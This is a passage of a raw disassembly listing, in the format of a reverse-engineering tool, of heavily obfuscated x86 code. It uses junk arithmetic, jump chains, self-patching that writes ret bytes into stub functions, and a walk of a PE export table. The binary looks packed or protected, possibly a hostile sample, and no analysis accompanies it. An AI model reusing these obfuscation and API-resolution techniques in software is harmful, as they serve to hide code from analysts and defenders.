loc_441ACD:				; CODE XREF: y22d6.y.:loc_43AF1Cj
		pop	edx
		ror	eax, 2
		add	eax, 6AFEFF9h
		push	offset loc_44C6E0
		jmp	loc_43880D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB3F

loc_441AE2:				; CODE XREF: sub_44CB3F+15j
		jmp	loc_43A9F1
; END OF FUNCTION CHUNK	FOR sub_44CB3F

; =============== S U B	R O U T	I N E =======================================



sub_441AE7	proc near		; CODE XREF: y22d6.y.:0043A4C5j
					; y22d6.y.:0044CC20p

; FUNCTION CHUNK AT 0043D973 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004480D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D8AB SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0044DE99 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		rol	eax, 1Fh
		xor	eax, 7161A96Bh
		push	ecx
		push	0AF2FD8F8h
		pop	ecx
		jmp	loc_4480D9
sub_441AE7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_441B00:				; CODE XREF: sub_444581:loc_44CDD2j
		jz	loc_441046
		jmp	loc_44B55E
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_44999D
; ---------------------------------------------------------------------------

loc_441B11:				; CODE XREF: y22d6.y.:0043765Cj
		mov	ebp, 0CC5C65FEh
		jz	loc_43A014
		or	edi, ecx

loc_441B1E:				; CODE XREF: y22d6.y.:loc_437647j
		rol	esi, 4
		test	esi, 40000h
		jmp	loc_44E25D
; ---------------------------------------------------------------------------

loc_441B2C:				; CODE XREF: y22d6.y.:0044DD4Ej
		sbb	edi, esi

; =============== S U B	R O U T	I N E =======================================



sub_441B2E	proc near		; CODE XREF: y22d6.y.:00437671p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	offset sub_440BAA
		jmp	nullsub_314
sub_441B2E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4425E0

loc_441B3F:				; CODE XREF: sub_4425E0:loc_43A4D0j
		xchg	edx, [esp+0]
		jmp	loc_43D0CB
; END OF FUNCTION CHUNK	FOR sub_4425E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_441B47:				; CODE XREF: sub_44633F:loc_43792Fj
		add	eax, 6AE69D27h
		xor	eax, 0F63EA80Bh
		push	edx
		push	1EF8411Fh
		jmp	loc_438C4D
; END OF FUNCTION CHUNK	FOR sub_44633F

; =============== S U B	R O U T	I N E =======================================



sub_441B5E	proc near		; CODE XREF: y22d6.y.:004461CBj
					; sub_44B17B:loc_4470F1p

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	ebx, 0E642771Bh
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_438E86
sub_441B5E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F224

loc_441B70:				; CODE XREF: sub_43F224+23F0j
		xor	eax, 0E244E57h
		add	eax, 0E3F64437h
		xchg	eax, [esp+0]
		jmp	nullsub_343
; END OF FUNCTION CHUNK	FOR sub_43F224
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_441B85:				; CODE XREF: sub_44AEDA-7834j
		jmp	loc_437A44
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EA64

loc_441B8A:				; CODE XREF: sub_43EA64+Fj
		jmp	nullsub_313
; END OF FUNCTION CHUNK	FOR sub_43EA64
; ---------------------------------------------------------------------------
		push	edx
		push	32DC9194h
		pop	edx
		rol	edx, 2
		sub	edx, 3380C99Dh
		js	loc_443E63
; START	OF FUNCTION CHUNK FOR sub_441030

loc_441BA5:				; CODE XREF: sub_441030+6FBBj
		jmp	sub_443169
; END OF FUNCTION CHUNK	FOR sub_441030
; ---------------------------------------------------------------------------

loc_441BAA:				; CODE XREF: y22d6.y.:0043D41Cj
		jmp	loc_43BFF1
; ---------------------------------------------------------------------------
		not	esi
		jmp	loc_439121
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_441BB6:				; CODE XREF: sub_43B7D4+1754j
					; sub_43B7D4:loc_441F44j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44B25F
		jmp	loc_43C063
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_441BC7:				; CODE XREF: sub_44B674:loc_437BB8j
		jz	loc_439B48
		jmp	loc_43BD7D
; END OF FUNCTION CHUNK	FOR sub_44B674
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_441BD3:				; CODE XREF: y22d6.y.:004498AFj
		jmp	sub_44D088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_441BD8:				; CODE XREF: sub_44271A+54B5j
		jz	loc_445A67
		jmp	loc_43D76A
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_441BE3:				; CODE XREF: sub_444581:loc_43FDA5j
		jz	loc_439A4D

loc_441BE9:				; CODE XREF: y22d6.y.:0044CF43j
		jmp	loc_44C4A8
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_441BEE:				; CODE XREF: sub_441F08+170Bj
		jmp	loc_4472F5
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
		jnb	loc_440581
		jmp	loc_437E03
; ---------------------------------------------------------------------------

loc_441BFE:				; CODE XREF: y22d6.y.:00442581j
		jz	loc_444EEF

; =============== S U B	R O U T	I N E =======================================



sub_441C04	proc near		; CODE XREF: sub_43D20E:loc_43AB8Bp

; FUNCTION CHUNK AT 00437A7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004386DD SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		cmp	dword ptr [ebp-8], 0A22F8A70h
		jmp	loc_437A7D
sub_441C04	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_441C14:				; CODE XREF: sub_440280+CD3Fj
		mov	byte ptr [eax],	0C3h
		jmp	loc_43912E
; END OF FUNCTION CHUNK	FOR sub_440280

; =============== S U B	R O U T	I N E =======================================



sub_441C1C	proc near		; CODE XREF: sub_416BBA:loc_416CF3p
					; y22d6.y.:004424F7j
					; DATA XREF: ...

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004379C6 SIZE 00000015 BYTES

		push	edx
		push	0AC5FF6CAh
		xchg	ebx, [esp+8+var_8]
		mov	edx, ebx
		jmp	loc_4379C6
sub_441C1C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_441C2C:				; CODE XREF: sub_43EC1C+1C2Fj
		cdq
		jo	loc_43D60A
		ror	edx, 0Fh
		jmp	loc_43EF03
; ---------------------------------------------------------------------------

loc_441C3B:				; CODE XREF: sub_43EC1C+4j
		sub	al, 99h
		push	0D845E39Bh
		sbb	edx, 253976FEh
		jmp	loc_4496F7
; END OF FUNCTION CHUNK	FOR sub_43EC1C
; ---------------------------------------------------------------------------

loc_441C4D:				; CODE XREF: y22d6.y.:0043A7AEj
		pop	edx
		pop	ecx
		mov	eax, [esp]
		push	edx
		call	sub_4463CE
		mov	eax, 9DD7AB44h
		push	ecx
		jmp	loc_44402C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A595

loc_441C64:				; CODE XREF: sub_44A595+11j
		jmp	nullsub_153
; END OF FUNCTION CHUNK	FOR sub_44A595

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441C69	proc near		; CODE XREF: y22d6.y.:0043A8E0p
					; sub_4441D9-5145j

; FUNCTION CHUNK AT 004373E9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00437A16 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043DB4F SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_43DB4F
sub_441C69	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_441C72:				; CODE XREF: y22d6.y.:loc_444647j
		jz	loc_437B58
		jmp	loc_448C9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44999F

loc_441C7D:				; CODE XREF: sub_44999F:loc_43DD19j
		jge	loc_43F180
; END OF FUNCTION CHUNK	FOR sub_44999F
; START	OF FUNCTION CHUNK FOR sub_43FEC6

loc_441C83:				; CODE XREF: sub_43FEC6-5E30j
		jmp	loc_44746B
; END OF FUNCTION CHUNK	FOR sub_43FEC6
; ---------------------------------------------------------------------------

loc_441C88:				; CODE XREF: y22d6.y.:004394EEj
		jmp	locret_43C671
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_43F178
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB4F

loc_441C93:				; CODE XREF: sub_44DB4F+1Dj
		jge	loc_449B17

loc_441C99:				; CODE XREF: y22d6.y.:004460AFj
		jmp	loc_43A937
; END OF FUNCTION CHUNK	FOR sub_44DB4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_441C9E:				; CODE XREF: sub_442C0C-7998j
		jmp	loc_444989
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------

loc_441CA3:				; CODE XREF: y22d6.y.:0043ADEBj
		jmp	sub_44D088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_441CA8:				; CODE XREF: sub_43B252-398Bj
		jmp	loc_43C5C3
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_449B11
; ---------------------------------------------------------------------------
		jns	loc_441063
		jmp	loc_44B010
; ---------------------------------------------------------------------------

loc_441CBE:				; CODE XREF: y22d6.y.:0044E61Fj
		pop	eax
		rol	eax, 7
		call	sub_4418AD

loc_441CC7:				; CODE XREF: y22d6.y.:004374DCj
		jmp	loc_44B252
; ---------------------------------------------------------------------------
		cmp	ebp, ebx
		jmp	loc_447BE4
; ---------------------------------------------------------------------------

loc_441CD3:				; CODE XREF: y22d6.y.:0043916Aj
		pushf
		cdq
		jns	loc_439BAD

loc_441CDB:				; CODE XREF: y22d6.y.:loc_43F0A0j
		call	nullsub_4
		jmp	loc_44CBF3
; ---------------------------------------------------------------------------
		mov	ds:dword_41E19C, eax
		lea	eax, nullsub_370
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_370

; =============== S U B	R O U T	I N E =======================================



sub_441CF9	proc near		; CODE XREF: sub_40CA0C+D9p
					; sub_40E68F+F5p ...
		push	offset loc_44B0AB
		jmp	nullsub_45
sub_441CF9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439407

loc_441D03:				; CODE XREF: sub_439407+767Cj
		ja	loc_43705A
		adc	ebp, ebx
		push	esi
		jmp	loc_44763D
; END OF FUNCTION CHUNK	FOR sub_439407
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esi
		xchg	ebp, [esp]
		push	0E0B8FB9Fh
		jmp	loc_43A139
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_441D22:				; CODE XREF: y22d6.y.:00445C27j
		jmp	loc_4382DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_441D27:				; CODE XREF: sub_4416F3-6DA5j
		jmp	loc_4438EC
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CDB7

loc_441D2C:				; CODE XREF: sub_44CDB7:loc_43CD48j
		xor	edx, 3574972h
		test	edx, 10000h
		jmp	loc_44386E
; END OF FUNCTION CHUNK	FOR sub_44CDB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446236

loc_441D3D:				; CODE XREF: sub_446236:loc_44D0F3j
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_441DD7
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jmp	loc_438A09
; END OF FUNCTION CHUNK	FOR sub_446236
; ---------------------------------------------------------------------------

loc_441D57:				; CODE XREF: y22d6.y.:004456BBj
		adc	ebp, 5BF2526Ch

; =============== S U B	R O U T	I N E =======================================



sub_441D5D	proc near		; CODE XREF: y22d6.y.:0044B570p
		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_4480DE
		retn
sub_441D5D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F34

loc_441D67:				; CODE XREF: sub_446F34+3CD6j
		jmp	loc_441710
; END OF FUNCTION CHUNK	FOR sub_446F34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439407

loc_441D6C:				; CODE XREF: sub_439407+11j
		jmp	loc_449937
; END OF FUNCTION CHUNK	FOR sub_439407
; ---------------------------------------------------------------------------
		push	ebp
		jmp	loc_43964D
; ---------------------------------------------------------------------------
		mov	ecx, eax
		jmp	sub_44BBBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_441D7E:				; CODE XREF: sub_44BCC2-8D8Dj
		push	2010h
		call	sub_43A735

loc_441D88:				; CODE XREF: y22d6.y.:00449259j
		jmp	loc_449269
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_249. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C1E2

loc_441D8E:				; CODE XREF: sub_44C1E2:loc_439C6Dj
		mov	[ebp-4], eax
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	sub_438953
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		jmp	loc_43A868
; END OF FUNCTION CHUNK	FOR sub_44C1E2

; =============== S U B	R O U T	I N E =======================================



sub_441DA7	proc near		; CODE XREF: sub_439E63+11DFEp
					; y22d6.y.:0044D38Aj

; FUNCTION CHUNK AT 0043A5A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B234 SIZE 0000001E BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	edx
		call	sub_44A46F
		adc	eax, 9B1A4C59h
		jmp	loc_43B234
sub_441DA7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D6D0

loc_441DBC:				; CODE XREF: sub_44D6D0:loc_43D0C6j
		jnz	loc_438C16
		jmp	loc_449CB4
; END OF FUNCTION CHUNK	FOR sub_44D6D0

; =============== S U B	R O U T	I N E =======================================



sub_441DC7	proc near		; CODE XREF: sub_4428C2:loc_437E91p
					; y22d6.y.:004483E9j

; FUNCTION CHUNK AT 0043BA5F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043DECE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044310A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446175 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044884F SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		cmp	edx, 7C61090Eh
		jz	loc_43DED0

loc_441DD7:				; CODE XREF: sub_446236:loc_438A09j
					; sub_446236-44F0j ...
		jns	loc_43BA77
		jmp	loc_43BA5F
sub_441DC7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_441DE2:				; CODE XREF: y22d6.y.:0044D5FAj
		jg	loc_4410B8

loc_441DE8:				; CODE XREF: y22d6.y.:loc_43BEB0j
		or	ecx, 0AE493C88h
		add	ecx, 0CFA08636h
		add	ecx, ebp
		call	sub_44C48C
; START	OF FUNCTION CHUNK FOR sub_440280

loc_441DFB:				; CODE XREF: sub_440280+D08Ej
		jmp	loc_447F74
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------

loc_441E00:				; CODE XREF: y22d6.y.:0044BC91j
		jmp	loc_449747
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A1FA

loc_441E05:				; CODE XREF: sub_43A1FA+15j
		jmp	loc_44E5A0
; END OF FUNCTION CHUNK	FOR sub_43A1FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_441E0A:				; CODE XREF: sub_448C77:loc_448C86j
		pop	ebp
		mov	eax, ds:dword_441990
		or	eax, eax
		jnz	loc_43733E
		jmp	loc_43DFCC
; END OF FUNCTION CHUNK	FOR sub_448C77

; =============== S U B	R O U T	I N E =======================================



sub_441E1E	proc near		; CODE XREF: y22d6.y.:00442C6Dp
					; y22d6.y.:004457AEj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004392DC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044074F SIZE 00000004 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	edx, [esp+0]
		mov	ebp, eax
		xchg	ebp, [esp+0]
		call	sub_43E953
		jmp	loc_4392DC
sub_441E1E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sbb	eax, 0B9F33FA0h
		jmp	loc_44500C
; ---------------------------------------------------------------------------
		mov	eax, 0A7C2536Ch
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_441E44:				; CODE XREF: sub_44BCC2:loc_438846j
		push	edx
		push	6DD4080Eh
		pop	edx
		or	edx, 0A24FCEAEh
		add	edx, 1064A0F6h
		jmp	loc_44200B
; END OF FUNCTION CHUNK	FOR sub_44BCC2

; =============== S U B	R O U T	I N E =======================================



sub_441E5C	proc near		; CODE XREF: y22d6.y.:0043FC72j
					; sub_44928B+5310p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B3BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D27E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043EB58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F1C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442B0C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004453D1 SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	885F2F7h
		pop	edi

loc_441E66:				; CODE XREF: y22d6.y.:004484DFj
		and	edi, ds:4000E3h
		rol	edi, 1Fh
		add	edi, 2AD712A5h
		jmp	loc_43B3BF
sub_441E5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43923C

loc_441E7A:				; CODE XREF: sub_43923C:loc_445F0Dj
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	esi
		push	edx
		pop	esi
		jmp	loc_44196C
; END OF FUNCTION CHUNK	FOR sub_43923C
; ---------------------------------------------------------------------------
		jns	loc_437348
		jmp	sub_449725
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438BEC

loc_441E91:				; CODE XREF: sub_438BEC+DA4j
		call	sub_443954
		pop	ecx
		shl	eax, 7
		mov	edx, [ebp+8]
		mov	edx, [edx-8]
		or	edx, 40h
		or	eax, edx
		jmp	loc_443AB8
; END OF FUNCTION CHUNK	FOR sub_438BEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_441EAA:				; CODE XREF: sub_444427:loc_4482E0j
		mov	ds:off_41E218, eax
		lea	eax, loc_43DDBB
		mov	byte ptr [eax],	0C3h
		jmp	loc_43E2B8
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A9C6

loc_441EBE:				; CODE XREF: sub_43A9C6:loc_43DDBBj
		pop	edx
		jmp	loc_44A49E
; END OF FUNCTION CHUNK	FOR sub_43A9C6

; =============== S U B	R O U T	I N E =======================================



sub_441EC4	proc near		; DATA XREF: sub_448EB6-8C7Eo

; FUNCTION CHUNK AT 0043B8CD SIZE 00000005 BYTES

		mov	ds:dword_41E0C8, eax
		lea	eax, nullsub_338
		mov	byte ptr [eax],	0C3h
		jmp	loc_43B8CD
sub_441EC4	endp

; ---------------------------------------------------------------------------
		call	nullsub_341
		jmp	loc_43DBBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_441EE2:				; CODE XREF: sub_43FAC6-67D1j
		push	ecx
		ror	edx, 14h
		shl	esi, 6

loc_441EE9:				; CODE XREF: sub_43FAC6:loc_4392EEj
		add	edx, 0A9C349E1h

loc_441EEF:				; CODE XREF: y22d6.y.:loc_43CE80j
		xor	edx, 0B2B1B34Eh
		add	edx, ebp
		jmp	loc_43A330
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------
		push	offset sub_44C222
		jmp	locret_440FA2
; ---------------------------------------------------------------------------

loc_441F06:				; CODE XREF: y22d6.y.:00444B26j
		or	esi, ecx

; =============== S U B	R O U T	I N E =======================================



sub_441F08	proc near		; CODE XREF: y22d6.y.:loc_4486C1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00437E0D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00438018 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043AE81 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C25A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043D1AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F000 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F68D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004403B2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00441BEE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044360D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444F65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445136 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445C36 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004463BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446FD5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004472F5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004478B4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044AF46 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044C406 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044C84E SIZE 00000019 BYTES

		xchg	esi, [esp+0]
		pop	esi
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_440899
		jmp	loc_445136
sub_441F08	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E357

loc_441F1B:				; CODE XREF: sub_44E357:loc_441642j
		rol	eax, 18h
		and	eax, 9273F179h
		push	offset sub_439765
		jmp	nullsub_346
; END OF FUNCTION CHUNK	FOR sub_44E357
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_441F2E:				; CODE XREF: sub_43E185+6906j
		jz	loc_449195
		jmp	loc_4456E0
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C9E

loc_441F39:				; CODE XREF: sub_447C9E:loc_447CAAj
		push	eax
		push	offset loc_43D138
		jmp	loc_439D7C
; END OF FUNCTION CHUNK	FOR sub_447C9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_441F44:				; CODE XREF: sub_43B7D4-15DFj
		jnz	loc_441BB6
		jmp	loc_43CF24
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------

loc_441F4F:				; CODE XREF: y22d6.y.:loc_445C00j
		push	ebx
		push	0B7617A27h
		pop	ebx
		rol	ebx, 1
		sub	ebx, 9A63723h
		jns	loc_43D101
; START	OF FUNCTION CHUNK FOR sub_43C22F

loc_441F64:				; CODE XREF: sub_43C22F:loc_44C259j
		pop	ebx
		or	edi, 7E0CD99Fh
		test	edi, 40000h
		jmp	loc_4417FC
; END OF FUNCTION CHUNK	FOR sub_43C22F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_441F76:				; CODE XREF: sub_448EB6+Ej
		jnz	loc_44B7CC
		jmp	loc_44BDB9
; END OF FUNCTION CHUNK	FOR sub_448EB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_278. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CA62

loc_441F82:				; CODE XREF: sub_43CA62+5j
		jmp	sub_44C392
; END OF FUNCTION CHUNK	FOR sub_43CA62
; ---------------------------------------------------------------------------
		sbb	edx, esi
		jmp	loc_43BB3F
; ---------------------------------------------------------------------------

loc_441F8E:				; CODE XREF: y22d6.y.:loc_449FECj
					; y22d6.y.:0044A004j
		add	ebx, 72C51849h
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_354
		mov	byte ptr [eax],	0C3h
		jmp	loc_43B6A5

; =============== S U B	R O U T	I N E =======================================



sub_441FA5	proc near		; CODE XREF: sub_402BB7+19p
					; sub_43BC90+9j
					; DATA XREF: ...
		call	sub_43BC90

loc_441FAA:				; CODE XREF: y22d6.y.:0043F2C8j
		jmp	nullsub_46
sub_441FA5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448BA0

loc_441FAF:				; CODE XREF: sub_448BA0-FC80j
		jmp	sub_442206
; END OF FUNCTION CHUNK	FOR sub_448BA0
; ---------------------------------------------------------------------------

loc_441FB4:				; CODE XREF: y22d6.y.:004478D7j
		popf

; =============== S U B	R O U T	I N E =======================================



sub_441FB5	proc near		; CODE XREF: y22d6.y.:loc_444335p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00445736 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004481AA SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xor	eax, 0DF626906h
		add	eax, ebp
		add	eax, 20967082h
		jmp	loc_4481AA
sub_441FB5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_441FCC:				; CODE XREF: y22d6.y.:0043CE87j
		ror	ebp, 15h
		sub	edi, 0ECE31A36h

loc_441FD5:				; CODE XREF: y22d6.y.:loc_449DBCj
		mov	eax, [esp]
		push	eax
		call	sub_44C171
		jmp	loc_438123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C6F

loc_441FE3:				; CODE XREF: sub_447C6F:loc_44D71Bj
		cmp	dword ptr [ebp-14h], 6
		setz	al
		call	sub_443954
		pop	ecx
		shl	eax, 3
		jmp	loc_43E56B
; END OF FUNCTION CHUNK	FOR sub_447C6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F35E

loc_441FF8:				; CODE XREF: sub_43F35E-2D1Cj
		sub	ebp, ebx
		jmp	loc_43EF01
; END OF FUNCTION CHUNK	FOR sub_43F35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CA1A

loc_441FFF:				; CODE XREF: sub_43CA1A+106F3j
		jz	loc_44AB17
		jmp	loc_44BD7A
; END OF FUNCTION CHUNK	FOR sub_43CA1A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44200B:				; CODE XREF: sub_44BCC2-9E6Bj
		jmp	loc_43E440
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------

loc_442010:				; CODE XREF: y22d6.y.:0044655Ej
		push	offset sub_44D6B7
		jmp	loc_44CA70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_44201A:				; CODE XREF: sub_43FFE2-42E5j
		not	eax
		jmp	loc_442747
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_442021:				; CODE XREF: sub_43C712+B20Cj
		sub	eax, esi
		pop	esi

loc_442024:				; CODE XREF: y22d6.y.:loc_444329j
		push	offset sub_44E52B
		jmp	loc_4420EA
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------

loc_44202E:				; CODE XREF: y22d6.y.:00440DBDj
		add	esi, ecx
		jp	loc_43DC49

loc_442036:				; CODE XREF: y22d6.y.:loc_4470D1j
		call	sub_43A4E4

loc_44203B:				; DATA XREF: y22d6.y.:0043C074o
		lea	eax, loc_4475CC
		mov	byte ptr [eax],	0C3h

loc_442044:				; CODE XREF: y22d6.y.:loc_43D81Dj
